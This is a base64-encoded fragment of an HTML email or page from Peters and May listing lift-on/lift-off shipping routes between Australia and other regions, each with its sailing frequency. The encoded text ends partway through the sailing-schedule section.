ICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJp YWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250 LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFu IHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTog QXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxz cGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWls eTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxl PSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFu PjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7 Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZh bWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0 eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9z cGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJp YWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250 LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFu IHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTog QXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxz cGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9IjQ3MCIg c3R5bGU9Im1hcmdpbi10b3A6IDEwcHg7IGJvcmRlci10b3AtY29sb3I6IHJnYigyMzcsIDIzNywg MjM3KTsgYm9yZGVyLXRvcC13aWR0aDogMnB4OyBib3JkZXItdG9wLXN0eWxlOiBzb2xpZDsiIGJv cmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSI2Ij4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0i MzkyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8aDMgc3R5bGU9Im1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHg7IGNvbG9y OiByZ2IoMjU1LCAxMDIsIDApOyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBmb250LXNpemU6 IDEycHg7IGZvbnQtd2VpZ2h0OiBib2xkOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZ2IoMjQ3LCAx NTAsIDcwKTsgZm9udC1mYW1pbHk6IEFyaWFsOyI+TElGVCBPbiAvIExJRlQgT0ZGPC9zcGFuPjwv aDM+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZCB3aWR0aD0iNzgiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgc3R5bGU9ImNvbG9yOiByZ2Io NDEsIDQwLCA5MCk7IGZvbnQtc2l6ZTogMTFweDsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij48YnI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LWZh bWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9z cGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJjb2xv cjogcmdiKDEyMCwgMTIwLCAxMjApOyBmb250LXNpemU6IDExcHg7IGZvbnQtd2VpZ2h0OiBib2xk OyI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPldlc3QgQ29hc3QgQXVzdHJhbGlh IC8gRWFzdCBDb2FzdCBBdXN0cmFsaWE8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgc3R5bGU9ImNv bG9yOiByZ2IoMTIwLCAxMjAsIDEyMCk7IGZvbnQtc2l6ZTogMTFweDsiIGNvbHNwYW49IjIiPjxz cGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij5XZWVrbHk8L3NwYW4+PC90ZD4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgc3R5bGU9ImNvbG9yOiByZ2IoMTIwLCAxMjAs IDEyMCk7IGZvbnQtc2l6ZTogMTFweDsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij48c3BhbiBzdHlsZT0i Zm9udC1mYW1pbHk6IEFyaWFsOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgc3R5 bGU9Im1hcmdpbjogMHB0OyBwYWRkaW5nOiAwcHQ7IGxpbmUtaGVpZ2h0OiAxNXB4OyI+PHNwYW4g c3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPkVhc3QgQ29hc3QgQXVzdHJhbGlhIC8gV2VzdCBD b2FzdCBBdXN0cmFsaWE8L3NwYW4+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBzdHlsZT0i Y29sb3I6IHJnYigxMjAsIDEyMCwgMTIwKTsgZm9udC1zaXplOiAxMXB4OyIgY29sc3Bhbj0iMiI+ PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPkZvcnRuaWdodGx5PC9zcGFuPjwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJjb2xvcjogcmdiKDEy MCwgMTIwLCAxMjApOyBmb250LXNpemU6IDExcHg7IGZvbnQtd2VpZ2h0OiBib2xkOyI+PHNwYW4g c3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPkF1c3RyYWxpYSAvIE1lZCAvIEF1c3RyYWxpYTwv c3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxp Z249ImxlZnQiIHZhbGlnbj0idG9wIiBzdHlsZT0iY29sb3I6IHJnYigxMjAsIDEyMCwgMTIwKTsg Zm9udC1zaXplOiAxMXB4OyIgY29sc3Bhbj0iMiI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBB cmlhbDsiPkZvcnRuaWdodGx5PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgdmFs aWduPSJ0b3AiIHN0eWxlPSJjb2xvcjogcmdiKDEyMCwgMTIwLCAxMjApOyBmb250LXNpemU6IDEx cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsi PkF1c3RyYWxpYSAvIE5vcnRoZXJuIEV1cm9wZSAvIEF1c3RyYWxpYTwvc3Bhbj48L3RkPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGln bj0idG9wIiBzdHlsZT0iY29sb3I6IHJnYigxMjAsIDEyMCwgMTIwKTsgZm9udC1zaXplOiAxMXB4 OyIgY29sc3Bhbj0iMiI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsiPk1vbnRobHk8 L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgc3R5bGU9ImNv bG9yOiByZ2IoMTIwLCAxMjAsIDEyMCk7IGZvbnQtc2l6ZTogMTFweDsgZm9udC13ZWlnaHQ6IGJv bGQ7Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+V2VzdCBDb2FzdCBVU0EgLyBB dXN0cmFsaWE8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgc3R5bGU9ImNvbG9yOiByZ2IoMTIwLCAx MjAsIDEyMCk7IGZvbnQtc2l6ZTogMTFweDsiIGNvbHNwYW49IjIiPjxzcGFuIHN0eWxlPSJmb250 LWZhbWlseTogQXJpYWw7Ij5Nb250aGx5PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVm dCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJjb2xvcjogcmdiKDEyMCwgMTIwLCAxMjApOyBmb250LXNp emU6IDExcHg7IGZvbnQtd2VpZ2h0OiBib2xkOyI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBB cmlhbDsiPkF1c3RyYWxpYSAvIEVhc3QgQ29hc3QgVVNBIC8gQXVzdHJhbGlhPC9zcGFuPjwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIg dmFsaWduPSJ0b3AiIHN0eWxlPSJjb2xvcjogcmdiKDEyMCwgMTIwLCAxMjApOyBmb250LXNpemU6 IDExcHg7IiBjb2xzcGFuPSIyIj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+Rm9y dG5pZ2h0bHk8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIg c3R5bGU9ImNvbG9yOiByZ2IoMTIwLCAxMjAsIDEyMCk7IGZvbnQtc2l6ZTogMTFweDsgZm9udC13 ZWlnaHQ6IGJvbGQ7Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+QXVzdHJhbGlh IC8gTWlkZGxlIEVhc3Q8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgc3R5bGU9ImNvbG9yOiByZ2Io MTIwLCAxMjAsIDEyMCk7IGZvbnQtc2l6ZTogMTFweDsiIGNvbHNwYW49IjIiPjxzcGFuIHN0eWxl PSJmb250LWZhbWlseTogQXJpYWw7Ij5Nb250aGx5PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGln bj0ibGVmdCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJjb2xvcjogcmdiKDEyMCwgMTIwLCAxMjApOyBm b250LXNpemU6IDExcHg7IGZvbnQtd2VpZ2h0OiBib2xkOyI+PHNwYW4gc3R5bGU9ImZvbnQtZmFt aWx5OiBBcmlhbDsiPkF1c3RyYWxpYSAvIEFzaWEgLyBBdXN0cmFsaWE8L3NwYW4+PC90ZD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxp Z249InRvcCIgc3R5bGU9ImNvbG9yOiByZ2IoMTIwLCAxMjAsIDEyMCk7IGZvbnQtc2l6ZTogMTFw eDsiIGNvbHNwYW49IjIiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8cD48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFs OyI+Rm9ydG5pZ2h0bHk8L3NwYW4+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Ri b2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgzIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBw YWRkaW5nLXRvcDogMTVweDsgcGFkZGluZy1ib3R0b206IDE1cHg7Ij48c3BhbiBzdHlsZT0iY29s b3I6IHJnYigyNDcsIDE1MCwgNzApOyBmb250LWZhbWlseTogQXJpYWw7IGZvbnQtc2l6ZTogMTJw eDsiPlBFVEVSUyBBTkQgTUFZIFNBSUxJTkcgU0NIRURVTEU8L3NwYW4+PC9oMz4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHAgYWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBwYWRkaW5nLXRv cDogMTVweDsgcGFkZGluZy1ib3R0b206IDE1cHg7Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigx 